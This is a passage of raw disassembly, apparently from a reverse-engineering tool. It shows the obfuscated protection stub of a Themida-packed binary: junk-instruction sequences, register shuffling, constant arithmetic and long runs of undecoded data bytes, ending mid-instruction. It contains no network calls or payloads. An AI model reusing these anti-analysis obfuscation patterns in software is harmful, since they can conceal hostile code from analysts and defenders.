0E9000000h, 0FFFFCEDEh, 7273B850h, 0E95238D4h dd 8F2h ; --------------------------------------------------------------------------- loc_54E2C4: ; CODE XREF: Themida_:00547B36j mov eax, 0A8B0C12h jmp loc_54F44B ; --------------------------------------------------------------------------- dw 34FFh dd 242C8B24h, 8304C483h, 48E904C4h, 89FFFFDAh, 0B551241Ch dd 0BEB1517Eh, 0CF287FB7h, 0B72AE959h, 8B66FFFFh, 8C68240Ch dd 8900005Ch, 7268243Ch, 5400003Ch, 8324048Fh, 8B042404h dd 0C481243Ch, 4, 0FF8FF8E9h, 786853FFh, 5B5D4D1Ah, 0EB81D3F7h dd 47829C7Eh, 815BDE89h, 621EE1C6h, 0EEF681CCh, 81279267h dd 8D3B34EAh, 1D95E91Ah db 2 dup(0) ; --------------------------------------------------------------------------- loc_54E342: ; CODE XREF: Themida_:0054BFC2j push 42FFh jmp loc_548546 ; --------------------------------------------------------------------------- dd 66F73166h, 9CE9FE31h, 0F7FFFFB8h, 0C5814DD5h, 0AAE30C89h dd 815DEB01h, 6179B6EBh, 50C32928h, 0FF87A0E9h db 0FFh ; --------------------------------------------------------------------------- loc_54E371: ; CODE XREF: Themida_:00544DA7j pop ebx push ebx jmp loc_54A5B2 ; --------------------------------------------------------------------------- dd 0E9FCEF80h, 0FFFFFC71h, 0BB57E95Ch, 0E1C0FFFFh, 1EC18005h dd 0BDF180h, 240C8BC8h, 6804C483h, 2494h, 53240C89h, 0E92DB252h dd 0FFFFDBE9h, 0FF6765E9h, 89FB89FFh, 241C8BDEh, 4C481h dd 0E95F0000h, 0FFFF7558h, 31240C33h, 0C33240Ch, 24248B24h dd 0FF8BFAE9h, 0D96858FFh, 8900002Ah, 8952242Ch, 4C281E2h dd 0E9000000h, 0FFFF694Fh, 4C281h, 0C2830000h, 24148704h dd 0A1BD555Ch, 312BF04Bh, 2C8B5DEEh, 4C48324h, 348BF729h dd 4C48124h, 0E9000000h, 0FFFFE3A4h, 8158C301h, 4C3h, 241C8700h dd 0FFDDF5E9h, 0D8295AFFh, 0E410BC05h, 4C21056Ah, 0BF576E53h dd 4C1D159Eh, 685FF829h, 50B3h, 68242C89h, 785AA957h, 0FF932DE9h dd 54525FFFh, 0E92434FFh, 1E7Fh, 1A5FF281h, 0F2817620h dd 72623CABh, 1D6CE9h, 0FE215F00h, 0F681465Fh, 434445h dd 1ECEE9h, 4EC8100h, 89000000h, 8B54243Ch, 0C481243Ch dd 4, 4C781h, 85E90000h, 51FFFF83h, 10AE9h, 4295F00h, 242C8124h dd 4C8E74C3h, 6DBD55h, 6C010B7Ch, 2C8B0424h, 4C48124h dd 0E9000000h, 0FFFF6652h, 0BB241C89h, 0ED9526Bh, 0FF88D6E9h dd 8B665CFFh db 4, 24h ; --------------------------------------------------------------------------- push ebp mov ebp, esp jmp loc_54D4DE ; --------------------------------------------------------------------------- dw 0BF66h dd 4AE92057h, 54FFFFE4h, 0FF8EDEE9h db 0FFh ; --------------------------------------------------------------------------- loc_54E4E9: ; CODE XREF: Themida_:0054B607j push ecx mov ecx, 38h sub ecx, 69E64BE0h add ecx, edi add ecx, 69E64BE0h mov [ecx], dh mov ecx, [esp] add esp, 4 pop edx jmp loc_544B12 ; --------------------------------------------------------------------------- dw 0E955h dd 0FFFF6D4Fh, 5309C781h, 0DF0109FBh, 5309EF81h, 0C78109FBh dd 188B6A3Bh, 4EF815Bh, 87000000h, 78E9243Ch, 57FFFFF0h dd 4F53D6BFh, 0E7814F19h, 5550F1Fh, 3069C781h, 0E7C17094h dd 7EFC104h, 0E675EF81h, 0FB01F245h, 58FE9h, 241C8900h dd 7D654368h, 21E95B7Ah db 0BBh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54E56B: ; CODE XREF: Themida_:005492CEj push dword ptr [esp] jmp loc_54A178 ; --------------------------------------------------------------------------- loc_54E573: ; CODE XREF: Themida_:0054DAB1j push dword ptr [esp] jmp loc_5468E3 ; --------------------------------------------------------------------------- db 53h dd 468h, 0DD015B00h, 81241C8Bh, 4C4h, 5CBE5600h, 68052304h dd 4AEh, 0FFE926E9h, 6916BAFFh, 0E1E966B7h, 5600000Ch dd 0FF6CCEE9h db 0FFh ; --------------------------------------------------------------------------- loc_54E5AD: ; CODE XREF: Themida_:0054EE42j xchg ebx, [esp] pop esp push edi mov edi, esp add edi, 4 add edi, 4 xchg edi, [esp] pop esp push edi mov edi, esp add edi, 4 push edx mov edx, 30132061h sub edx, 3013205Dh add edi, 61D94855h jmp loc_54A342 ; --------------------------------------------------------------------------- loc_54E5E1: ; CODE XREF: Themida_:00546499j pop edx pop ecx xchg edx, ebx xor eax, ebx xor ebx, eax xor eax, ebx push 5143h mov [esp], edi jmp loc_54E132 ; --------------------------------------------------------------------------- dd 4245C31h, 23A4E9h, 89CB8900h, 34FF5BDAh, 0C4835924h dd 0D521B904h, 0D101B570h, 5A2434FFh, 0FFF549E9h db 0FFh ; --------------------------------------------------------------------------- loc_54E61D: ; CODE XREF: Themida_:00548095j mov eax, [esp] add esp, 4 retn ; --------------------------------------------------------------------------- db 0E9h dd 0FFFFB17Eh ; --------------------------------------------------------------------------- loc_54E62C: ; CODE XREF: Themida_:0054CFBFj mov [esp], edx mov edx, 4 add edi, 51CF2B0Eh sub edi, edx sub edi, 51CF2B0Eh jmp loc_5483BB ; --------------------------------------------------------------------------- db 1 dd 1C8B5FF8h, 4C48324h, 3302C083h, 4312404h, 24043324h dd 6624248Bh, 9C240429h, 0FF64A9E9h, 261E68FFh, 24890000h dd 24048324h, 0C1815904h, 4, 1B22B850h, 484868BEh, 0F791D0F7h dd 0B95191D9h, 68BE1B23h, 159C831h, 24048BC1h, 0FFDA41E9h dd 0FFFB01FFh, 835F2434h, 0EF8104C4h, 188B6A3Bh, 0FFFE63E9h db 0FFh ; --------------------------------------------------------------------------- loc_54E6B1: ; CODE XREF: Themida_:0054A922j add esp, 4 jmp loc_54B300 ; --------------------------------------------------------------------------- loc_54E6B9: ; CODE XREF: Themida_:0054A89Aj pop ebx jmp loc_549A97 ; --------------------------------------------------------------------------- loc_54E6BF: ; CODE XREF: Themida_:0054A968j mov [esp], ax mov al, ch push ax not byte ptr [esp] pop ax mov ch, al jmp loc_54CE8D ; --------------------------------------------------------------------------- db 64h dd 91E932FFh, 1FFFFA7h, 0D10158C1h, 0A22BD55h, 0E9294142h dd 99C9E95Dh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54E6EE: ; CODE XREF: Themida_:00547DD4j mov ecx, 2E11EEAAh sub edi, ecx pop ecx push eax sub esp, 4 mov [esp], esi mov esi, edi mov eax, esi pop esi push ebp mov ebp, eax mov edx, ebp mov ebp, [esp] add esp, 4 mov eax, [esp] add esp, 4 pop edi and ecx, edx pop edx shr ecx, 7 sub esp, 4 mov [esp], ebx push 27FBh mov [esp], eax push 696B0748h jmp loc_5456F3 ; --------------------------------------------------------------------------- db 81h dd 4C4h, 64E95600h, 0FF000028h, 0C8B2434h, 291DE924h, 0EC810000h dd 4, 89243489h, 4BA52E6h, 1000000h, 0C6815AD6h, 4, 0FF67F1E9h dd 4C281FFh, 83000000h, 143304C2h, 8CE4E924h, 0E958FFFFh dd 0FFFFBF0Ah, 3DAAEB81h, 0EB8104E2h, 0B447AA00h, 6A77C181h dd 0D92915F0h, 0FFE37AE9h, 243C89FFh, 0FFA743E9h, 71B0B9FFh dd 0E1817D83h, 7BB23EBFh, 8141D9F7h, 80AD39E9h, 59CB8946h dd 7984C381h, 0C329282Fh, 7984EB81h, 48B282Fh, 4C48124h dd 31000000h, 241C8BD8h, 4C481h, 0E9520000h, 0FFFFC1BEh dd 0C14305BFh, 8BFB8934h, 0C481243Ch, 4, 0FFE566E9h, 0DEC981FFh dd 0F71B5365h, 8BC4E9D1h, 8B66FFFFh, 89522404h, 54B850E2h dd 83184619h, 0E8C101E8h, 0B605E907h, 0E959FFFFh, 0FFFFC994h dd 0B6241489h, 80CEFEDEh, 0B75362CEh, 8E7C0B4h, 0C07DE780h dd 0EF8002E7h, 5BFE206Ah, 8006E6C0h, 7BE90CF6h, 81FFFFC5h dd 0B50378E5h, 0E953452Eh, 0FC8h, 0C381C301h, 33D94445h dd 0BCAE9h db 0 ; --------------------------------------------------------------------------- loc_54E869: ; CODE XREF: Themida_:00546379j sub edi, ecx pop ecx mov edx, edi push dword ptr [esp] pop edi jmp loc_54A668 ; --------------------------------------------------------------------------- loc_54E877: ; CODE XREF: Themida_:005507CFj push esp jmp loc_546A23 ; --------------------------------------------------------------------------- loc_54E87D: ; CODE XREF: Themida_:0054F313j mov esi, 7DE8550Fh add esi, 0A676C7BCh xor esi, 245F1CCFh jmp loc_550670 ; --------------------------------------------------------------------------- db 8Bh dd 56E92424h, 53FFFF67h, 0FE00C1B7h, 0FFAFFDE9h db 0FFh ; --------------------------------------------------------------------------- loc_54E8A5: ; CODE XREF: Themida_:00548549j add dword ptr [esp], 4 mov edi, [esp] jmp loc_54CF7D ; --------------------------------------------------------------------------- loc_54E8B1: ; CODE XREF: Themida_:0054AAA4j xchg ebp, [esp] jmp loc_54A91A ; --------------------------------------------------------------------------- loc_54E8B9: ; CODE XREF: Themida_:0054D754j jmp loc_544B12 ; --------------------------------------------------------------------------- loc_54E8BE: ; CODE XREF: Themida_:00549D59j pop dword ptr [esp] mov esp, [esp] test cx, ax pushf jmp loc_544B12 ; --------------------------------------------------------------------------- db 66h, 31h, 4 dd 3BE99C24h, 0BDFFFF62h, 2EC4BD4h, 5DD5ED81h, 4D450025h dd 0E5C1D5F7h, 67BA6806h, 4890000h, 7FFCB824h, 1EE94E44h dd 56FFFF66h, 0FF6F34E9h, 2DF801FFh, 0A8A0B6Dh, 621EE95Fh dd 34FFFFFFh, 24048B24h, 6F9D68h, 24148900h, 81E78957h dd 4C7h, 0BCE3E900h, 0F181FFFFh, 62386BEDh, 0C8BC831h dd 4C48324h, 0FF68C331h, 89000074h, 5D54242Ch, 0FFFC32E9h dd 0AABF57FFh, 297E8D1Dh, 0BB535FF8h, 1240437Ah, 41E9D829h dd 31FFFFD3h, 98E9242Ch, 68FFFF67h, 5D6A78D4h, 0DDCE95Eh dd 89500000h, 266CE9D0h, 835B0000h, 48702C0h, 1809E924h dd 89660000h, 32B62414h, 0FFF829E9h db 0FFh ; --------------------------------------------------------------------------- loc_54E991: ; CODE XREF: Themida_:00547D3Ej add bl, cl pop cx add bl, 6Ch push cx push edx mov dh, 90h jmp loc_5489A4 ; --------------------------------------------------------------------------- loc_54E9A2: ; CODE XREF: Themida_:0054DB41j add ebx, 7A5928CEh add ebx, ebp sub ebx, 7A5928CEh pop ebp xor ebx, [esp] xor [esp], ebx xor ebx, [esp] pop esp or edx, eax shl edx, 1 push edx push ecx mov ecx, 24h mov edx, ecx pop ecx push eax mov eax, 3A603612h neg eax shl eax, 5 add eax, 93C72523h sub edx, eax pop eax add edx, edi add edx, 47C062E3h push 0C8Bh mov [esp], eax push edi mov edi, 5D6645E7h sub esp, 4 mov [esp], ecx mov ecx, 222A727Fh sub edi, ecx mov ecx, [esp] add esp, 4 shl edi, 3 dec edi dec edi and edi, 270403F0h sub edi, 1040330h mov eax, edi jmp loc_54B5E1 ; --------------------------------------------------------------------------- db 53h, 0E9h, 91h dd 66FFFFCCh, 5724048Bh, 0DBE9E789h, 1FFFF96h, 0EB815FFBh dd 4, 0E9241C87h, 1C14h ; --------------------------------------------------------------------------- loc_54EA40: ; CODE XREF: Themida_:00546079j sub ebp, 2 xchg ebp, [esp] pop esp mov [esp], bx jmp loc_54B87D ; --------------------------------------------------------------------------- db 1 dd 0C8FDE9FBh, 8B66FFFFh, 0EC812404h, 4, 54240489h, 4EC8158h dd 89000000h, 0ED68242Ch, 8900006Bh, 0BE562404h, 41072402h dd 62BBF681h, 0E9567713h, 0C62h ; --------------------------------------------------------------------------- loc_54EA8C: ; CODE XREF: Themida_:00548739j pop ebp jmp loc_54DAB6 ; --------------------------------------------------------------------------- loc_54EA92: ; CODE XREF: Themida_:00545736j push esi mov esi, 3EEB5FB5h jmp loc_546FB0 ; --------------------------------------------------------------------------- loc_54EA9D: ; CODE XREF: Themida_:00548E67j push eax mov eax, esp add eax, 4 add eax, 4 xchg eax, [esp] jmp loc_54E179 ; --------------------------------------------------------------------------- loc_54EAB0: ; CODE XREF: Themida_:005456AFj xor eax, ecx push eax sub esp, 4 mov [esp], edi pop eax push dword ptr [esp] pop edi add esp, 4 xchg eax, edi not eax sub esp, 4 mov [esp], edi push 7E55h mov [esp], eax pop edi jmp loc_54A6AD ; --------------------------------------------------------------------------- db 68h dd 3E1A7115h, 0FF8311E9h, 0E94BB6FFh, 0FFFF80E2h, 8BEB815Fh dd 0E9330545h, 1284h, 0EDC1455Bh, 2B685604h, 8900002Eh dd 0BA52243Ch, 637C78ABh, 0FF655EE9h, 0FF5456FFh, 815E2434h dd 4C4h, 4C68100h, 51000000h, 4B9h, 0E9CE2900h, 0FFFF7533h dd 5C241C87h, 0E953C201h, 0FFFFD895h, 0F3AE956h db 2 dup(0) ; --------------------------------------------------------------------------- loc_54EB42: ; CODE XREF: Themida_:0054B1F6j pop ebx jmp loc_550C31 ; --------------------------------------------------------------------------- dd 0D8E8E953h, 0C481FFFFh, 4, 8B24048Fh, 2FE92424h db 9Eh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54EB5F: ; CODE XREF: Themida_:005455F7j shr ecx, 5 push ebp mov ebp, 5B9071F3h inc ebp or ebp, 61B07CEDh neg ebp inc ebp add ebp, 0C061BB60h xor ecx, ebp pop ebp sub esp, 4 mov [esp], edx mov edx, 2DAE5A37h xor edx, 25321005h neg edx inc edx dec edx push eax mov eax, 111709C3h sub eax, 0FFFFFFFFh dec eax shl eax, 7 shl eax, 1 add eax, 6249658Bh xor edx, eax jmp loc_54FADB ; --------------------------------------------------------------------------- loc_54EBAD: ; CODE XREF: Themida_:00550C83j mov [esp], esi push ecx jmp loc_548A5D ; --------------------------------------------------------------------------- dw 15BAh dd 812BD66Fh, 7111F9F2h, 0EA814A32h, 67AB03D6h, 6416F281h dd 0C2815C97h, 1, 255FE9h, 3C8B5400h, 0C250E924h, 0C483FFFFh dd 79E95604h db 93h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54EBEB: ; CODE XREF: Themida_:00546ECDj sub bl, 0F6h jmp loc_549312 ; --------------------------------------------------------------------------- db 80h dd 0EB80CAEBh, 0C0B60FDDh, 6887048Dh, 0FD2h, 0FFA09CE9h db 0FFh ; --------------------------------------------------------------------------- loc_54EC09: ; CODE XREF: Themida_:0054F1EBj mov bh, al pop eax push cx jmp loc_54631B ; --------------------------------------------------------------------------- loc_54EC13: ; CODE XREF: Themida_:0054C8BFj add eax, 2F14580Eh add eax, edi sub esp, 4 jmp loc_550EC2 ; --------------------------------------------------------------------------- dw 0CAB4h dd 0E972CC80h, 0FFFF674Ch ; --------------------------------------------------------------------------- loc_54EC2C: ; CODE XREF: Themida_:0054A893j xor al, bh pop ebx push 2B01h jmp loc_54ACC5 ; --------------------------------------------------------------------------- db 2Ch, 2, 0 dd 5A0204D0h, 3E044804h, 0FF98F7E9h, 4C581FFh, 50000000h dd 278B68h, 242C8900h, 2BDh, 34815500h, 78026824h, 68355842h dd 5D427802h, 0FFE70EE9h, 5DEE01FFh, 3DE9F301h, 0BFFFFFB6h dd 2B237A32h, 71FC781h, 0DFF7797Dh, 0D706E94Fh, 8B66FFFFh dd 54562404h, 0FF71C3E9h, 0B06866FFh, 1C89667Dh, 0D0B05024h dd 2C58C788h, 89AEE959h, 6D35FFFFh, 831BC52Bh, 348904ECh dd 579E924h, 1C890000h, 71BBE924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54ECC6: ; CODE XREF: Themida_:0054C1A5j push edx push esi mov esi, 8A71E2h jmp loc_54AC3C ; --------------------------------------------------------------------------- dw 0C483h dd 7D7AE904h, 0F121FFFFh, 78BA525Eh, 0C1490254h, 0C28103EAh dd 7E4E47C0h, 8105E2C1h, 57FD58C2h, 0F3E6E9F0h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54ECFA: ; CODE XREF: Themida_:0054C6FAj mov ecx, edx pop edx and ecx, 3B0D10BCh shl ecx, 6 sub ecx, 82002CFCh add ebx, ecx pop ecx add ebx, 4 jmp loc_54A030 ; --------------------------------------------------------------------------- db 51h dd 402B050h, 58C588AAh, 0FFAD34E9h db 0FFh ; --------------------------------------------------------------------------- loc_54ED25: ; CODE XREF: Themida_:00545840j mov edx, 2 sub esi, edx jmp loc_5475E1 ; --------------------------------------------------------------------------- aDh db ',dh╠}',0 align 4 dd 0FFFAEBE9h, 4BA1B9FFh, 69E92BF0h db 0B1h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54ED47: ; CODE XREF: Themida_:00549A98j push dword ptr [esp+4] mov ebp, [esp] add esp, 4 pop dword ptr [esp] pop esp jmp loc_5511B8 ; --------------------------------------------------------------------------- loc_54ED5D: ; CODE XREF: Themida_:00547804j mov [esp], ecx pop dword ptr [edi+20h] pop ecx jmp loc_54D2DA ; --------------------------------------------------------------------------- db 89h, 34h, 24h dd 5BABB850h, 72353C55h, 0E94CAA14h, 3CEh, 0C158C629h dd 685706E6h, 124B746Bh, 0FFF6DCE9h, 7EDEBAFFh, 0D32153ADh dd 40F3815Ah, 0C16AED2Eh, 814B05EBh, 141CBFC3h, 0FBF38161h dd 817ED156h, 66042444h, 10BEA15h, 8104245Ch, 6604246Ch dd 0E90BEA15h, 0FFFFDA4Eh, 83242C8Bh, 0F58104C4h, 0CB19900Bh dd 8B5DE929h, 89572404h, 4C781E7h, 81000000h, 4C7h, 7FFBE900h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54EDEA: ; CODE XREF: Themida_:005489DAj add edi, 4 xchg edi, [esp] pop esp jmp loc_54520D ; --------------------------------------------------------------------------- dw 8966h dd 13E92404h, 81FFFF5Dh, 4C6h, 4B95100h, 1000000h, 240C8BCEh dd 0FFA422E9h db 0FFh ; --------------------------------------------------------------------------- loc_54EE15: ; CODE XREF: Themida_:00550751j add dword ptr [esp], 0FFFFFFFFh pop ecx jmp loc_5455F1 ; --------------------------------------------------------------------------- db 5Ch dd 68241C89h, 0EE3h, 0E9240489h, 0FFFFB45Fh, 0EBC0C3FEh dd 0E9C3FE07h, 0FFFFA3F0h ; --------------------------------------------------------------------------- loc_54EE3C: ; CODE XREF: Themida_:005458C5j add ebx, 4 jmp loc_54E5AD ; --------------------------------------------------------------------------- db 58h dd 800BE280h, 51668EC2h, 0CA3083B1h, 0CA805966h, 0BE55E9AFh dd 0BE56FFFFh, 1EAE0F05h, 0C681DEF7h, 1EAE0F09h, 875EF001h dd 248B2404h, 5D685124h, 89000042h, 0B5512404h, 59EC8813h dd 0FF8CE9E9h, 4C181FFh, 0E9000000h, 0FFFFC367h, 4EF81h dd 0FF570000h, 5F042474h, 5C24048Fh, 0BD242C89h, 2, 4767142Dh dd 7B2DE956h, 34FFFFFFh, 0C4815F24h, 4, 42Dh, 24043300h dd 33240431h, 248B2404h, 24148924h, 0F2E99C50h db 6Eh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54EEDB: ; CODE XREF: Themida_:0055085Bj mov edx, [esp] add esp, 4 jmp loc_54583F ; --------------------------------------------------------------------------- loc_54EEE6: ; CODE XREF: Themida_:0054A0C9j push esi push esp pop esi jmp loc_54DBB7 ; --------------------------------------------------------------------------- dw 0E831h dd 0FF2434FFh, 2C8B2434h, 4C48324h, 0E904C483h, 0FFFFD1A2h dd 0E9242C8Bh, 0FFFFDEC2h, 5C00E95Ch db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54EF12: ; CODE XREF: Themida_:00545E6Aj add ecx, 4D87F144h mov eax, ecx pop ecx xor [esp+4], eax pop eax push dword ptr [esp] pop eax push edi push esp mov edi, [esp] push 0A91h mov [esp], edx jmp loc_54505C ; --------------------------------------------------------------------------- dw 489h dd 4EC8324h, 0FF240489h, 58042474h, 0F724048Fh, 240487D0h dd 0E924048Bh, 0FFFFDE85h, 504DCF81h, 0EF813271h, 36EF0FDFh dd 0E902E7C1h, 0FFFFE350h ; --------------------------------------------------------------------------- loc_54EF68: ; CODE XREF: Themida_:0054D972j jmp loc_544B12 ; --------------------------------------------------------------------------- db 5Ch, 50h, 0E9h dd 0FFFF68D1h, 6CF5814Dh, 2967AA79h, 242C8BEFh, 0E9E18951h dd 3Eh, 24048F5Ah, 75EE685Ch, 94E90000h, 52FFFF74h, 0C281E289h dd 4, 0FFBDE8E9h, 0EFE95BFFh, 1FFFF84h, 334005F8h, 505F42A8h dd 42474FFh, 24048F58h, 2404095Ch, 5B4CE99Ch, 0C181FFFFh dd 4, 4C181h, 0C870000h, 3C875C24h, 0C895C24h, 44786824h dd 24890000h, 24048124h, 4, 4C18159h, 81000000h, 2C1h dd 74FF5100h, 8F590424h, 665C2404h, 5624048Bh, 0BA525E54h dd 4, 835AD601h, 5AE904EEh, 56FFFFC0h, 0FFC407E9h, 2454F6FFh dd 0F2E95B01h, 8BFFFFCAh, 0C0E92404h, 5AFFFFD8h, 0FFB9A5E9h db 0FFh ; --------------------------------------------------------------------------- loc_54F039: ; CODE XREF: Themida_:00547C7Fj xchg eax, [esp] pop esp jmp loc_54D8E8 ; --------------------------------------------------------------------------- dw 0E589h aH@: unicode 0, <h@> dw 8900h dw 2434h dd 463FB850h, 0F7BE23CEh, 2995F0A2h, 0E1AEE9C6h, 1C8BFFFFh dd 4C48124h, 53000000h, 0FF7172E9h, 241487FFh, 0E1C6815Ch dd 17FD32Eh, 0E1EE81D6h, 0E97FD32Eh, 0FFFFA8C1h, 240C3358h dd 33240C31h, 248B240Ch, 24148924h, 2BAh, 5AD60100h, 31243433h dd 34332434h, 24248B24h, 240C8B66h, 6CEF68h, 242C8900h dd 0A468E589h, 89000058h, 0EF68240Ch, 59211833h, 2414F751h dd 0B181E959h, 6EB9FFFFh, 29193E32h, 5904244Ch, 0FF6620E9h dd 7F1BFFFh, 0CF815EAAh, 3AC8334Bh, 1FB8EF81h, 0CCE95FCAh db 79h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54F0F3: ; CODE XREF: Themida_:0054882Cj pop edi xor edi, 49EB1057h jmp loc_54B1E2 ; --------------------------------------------------------------------------- loc_54F0FF: ; CODE XREF: Themida_:0054AA79j mov ebx, 1A2F6371h push ebx pop ebp pop ebx or ebx, ebp pop ebp jmp loc_54DCDA ; --------------------------------------------------------------------------- db 83h dd 0B15104C4h, 9E61E90Dh, 0CB68FFFFh, 0E900006Dh, 0FFFFA882h dd 0EA69472Dh, 0E173E97Eh, 0EC81FFFFh, 4, 52240C89h, 0DA6EC1BAh dd 6AB6B92Ah, 0D13134A7h, 0F6B3E95Ah, 0E0C1FFFFh, 34B50503h dd 41357470h, 2D69FD6Dh, 3E78950Ch, 0C158C689h, 76E902E6h dd 5FFFFF7Bh, 4108F781h, 48B2BB6h, 4C48324h, 34FFF921h dd 89575F24h, 4C781E7h, 83000000h, 7FE904ECh, 66FFFF8Eh db 8Bh, 0Ch, 24h ; --------------------------------------------------------------------------- push ebp mov ebp, esp push edi mov edi, 6B7D0220h dec edi jmp loc_54C112 ; --------------------------------------------------------------------------- dw 0C1BBh dd 8924AD11h, 0E5C15BDDh, 18C58104h, 1C4952Ch, 0EA815DEAh dd 320143A4h, 0C281C201h, 320143A4h, 4828EA81h, 0BF570F66h dd 5FB456AEh, 5E2ABB53h, 0DF095BAFh, 83241C8Bh, 0E78104C4h dd 4587317Dh, 0B51E9h db 0 ; --------------------------------------------------------------------------- loc_54F1E5: ; CODE XREF: Themida_:00548074j add esp, 2 jmp loc_54EC09 ; --------------------------------------------------------------------------- dd 5763BA52h, 0EA811A43h, 3A405400h, 8703E2C1h, 0E9D1F7CAh dd 0FFFFBA56h, 4EC8153h, 89000000h, 0EBE92404h db 62h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54F217: ; CODE XREF: Themida_:0054CEFBj dec bh or bh, 85h add bh, 0FFh sub al, bh pop ebx jmp loc_54CA97 ; --------------------------------------------------------------------------- db 8Bh dd 0F7662424h, 539B68F9h, 42E90000h, 0BEFFFF74h, 4E8C3034h dd 0FFC0E4E9h, 0E9E100FFh, 0FFFFEA36h ; --------------------------------------------------------------------------- loc_54F248: ; CODE XREF: Themida_:0054DBC2j add esi, ecx pop ecx push eax mov eax, 4 add esi, eax pop eax push esi jmp loc_54B239 ; --------------------------------------------------------------------------- loc_54F25A: ; CODE XREF: Themida_:0054752Ej mov edx, ecx pop ecx jmp loc_549080 ; --------------------------------------------------------------------------- dw 0E801h dd 6CDE9h, 0EA814200h, 0E6D39632h, 2D5AD029h, 5DAC4781h dd 2444315Ah, 0DE0EE904h, 0E959FFFFh, 0FFFFA631h, 4EAC142h dd 0FFA5B2E9h db 0FFh ; --------------------------------------------------------------------------- loc_54F291: ; CODE XREF: Themida_:00549096j add ebx, 4 xchg ebx, [esp] jmp loc_550860 ; --------------------------------------------------------------------------- dd 6FE9028Fh, 1FFFF58h, 5C69E9C1h, 0E689FFFFh, 4C681h dd 0C6810000h, 4, 0FFD979E9h, 0E95066FFh, 0FFFFDA98h, 1BDh dd 0E9E82900h, 1215h, 0FFFFC281h, 0BDE9FFFFh, 0B8FFFFDDh dd 796B3EEFh, 0FF7CDCE9h, 24048BFFh, 0FFF8F5E9h db 0FFh ; --------------------------------------------------------------------------- loc_54F2ED: ; CODE XREF: Themida_:0055036Bj and ebx, 6BF036Ch add ebx, 0F971FEBBh jmp loc_549195 ; --------------------------------------------------------------------------- loc_54F2FE: ; CODE XREF: Themida_:0054FEBCj push edi mov edi, 2E59346Bh inc edi or edi, 25710737h jmp loc_547045 ; --------------------------------------------------------------------------- loc_54F310: ; CODE XREF: Themida_:0054AD7Bj mov edi, esp push esi jmp loc_54E87D ; --------------------------------------------------------------------------- dd 0E904C483h, 0B5Dh, 0B1E9D889h, 11h, 665A66F0h, 4EC8153h dd 0E9000000h, 78Dh, 5C243487h, 0FFF21CE9h, 0E9525DFFh dd 0FFFF88E7h, 81E78957h, 4C7h, 4C78300h, 5C243C87h, 450D68h dd 0CEDEE900h, 34FFFFFFh, 0B8B7E924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54F36A: ; CODE XREF: Themida_:00546FCEj add ebp, 4 add ebp, 4 push ebp jmp loc_5470B2 ; --------------------------------------------------------------------------- db 0B8h, 0C6h, 0EDh dd 0C5290878h, 0FF68F5E9h, 0A7E681FFh, 8149E226h, 550709C6h dd 5AC68113h, 291D3453h, 0BA525EF0h, 313A2464h, 1B94E281h dd 0F281040Dh, 17757FE4h, 0FF9DA2E9h db 0FFh ; --------------------------------------------------------------------------- loc_54F3B1: ; CODE XREF: Themida_:0054FAF0j pop edx and eax, ecx jmp loc_546808 ; --------------------------------------------------------------------------- db 53h, 51h, 0B9h dd 47723696h, 9E98141h, 0E9185652h, 0FFFFC453h, 4240483h dd 8124348Bh, 4ECh, 240C8900h, 0EC81E189h, 4, 0B8240489h dd 0C043B84h, 0D08E8C1h, 4A035BAh, 0AC35BF35h, 58C10104h dd 0FF7888E9h, 55E189FFh, 836B85BDh, 0E9DDF744h, 0FFFFC99Fh dd 0E62877B4h, 0FFE770E9h, 814149FFh, 0FB76F2C1h, 59CD010Fh dd 961E9h, 747BBD00h, 36E96C40h, 58FFFF67h, 8B241C87h dd 0FF662424h, 0E99C240Ch, 0FFFF56CEh, 0DAE9D029h db 0EFh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54F44B: ; CODE XREF: Themida_:0054E2C9j shr eax, 4 shl eax, 1 xor eax, 6D970F9Fh and ecx, eax pop eax shr ecx, 4 push edi mov edi, 5F8CA74Bh jmp loc_5477F4 ; --------------------------------------------------------------------------- dw 1489h dd 0E9EA8824h, 0FFFF983Dh ; --------------------------------------------------------------------------- loc_54F470: ; CODE XREF: Themida_:0054773Ej pop esp shl esi, 3 shr esi, 2 sub esi, 2444B96Ch add ebp, esi mov esi, [esp] add esp, 4 push edx mov edx, 2 add ebp, edx jmp loc_54F6A1 ; --------------------------------------------------------------------------- db 87h, 34h, 24h dd 0FF69EDE9h, 24148BFFh, 5204C483h, 117417BAh, 21E82D36h dd 0D001456Fh, 6F21E805h, 3AE95A45h, 54FFFF6Ch, 120FE9h dd 58EB8100h, 317FFCD8h, 1A9BE9D8h, 4B4B0000h, 8C3F381h dd 0D90151A3h, 240C875Bh, 0FF83FAE9h db 0FFh ; --------------------------------------------------------------------------- loc_54F4E1: ; CODE XREF: Themida_:0054730Cj push ecx mov cl, 0E6h push edx mov dh, 0AAh sub bl, 0B1h jmp loc_547D49 ; --------------------------------------------------------------------------- db 87h dd 29E92414h, 59000005h, 3C2540h, 0C2E9164Dh, 81FFFFCEh dd 5E6214F7h, 240C8B08h, 4C481h, 0F9010000h, 0E9243C8Bh dd 0FFFF7B8Eh ; --------------------------------------------------------------------------- loc_54F51C: ; CODE XREF: Themida_:0055047Bj jmp loc_5458B3 ; --------------------------------------------------------------------------- loc_54F521: ; CODE XREF: Themida_:00549E6Fj add esp, 4 push 7F94h mov [esp], edx mov edx, 4 sub esi, 5D4104C6h jmp loc_550853 ; --------------------------------------------------------------------------- db 83h dd 0EB8104C4h, 2, 8B241C87h, 6FE92424h, 5CFFFFE3h, 0FFCE5AE9h db 0FFh ; --------------------------------------------------------------------------- loc_54F559: ; CODE XREF: Themida_:00545D12j push 5F0011D4h pop ebx push ebx not dword ptr [esp] pop ebx shl ebx, 7 xor ebx, 1D6611AFh mov edx, ebx pop ebx inc edx push ecx mov ecx, esp add ecx, 4 sub ecx, 4 xchg ecx, [esp] pop esp mov [esp], eax mov eax, 2795B8F2h jmp 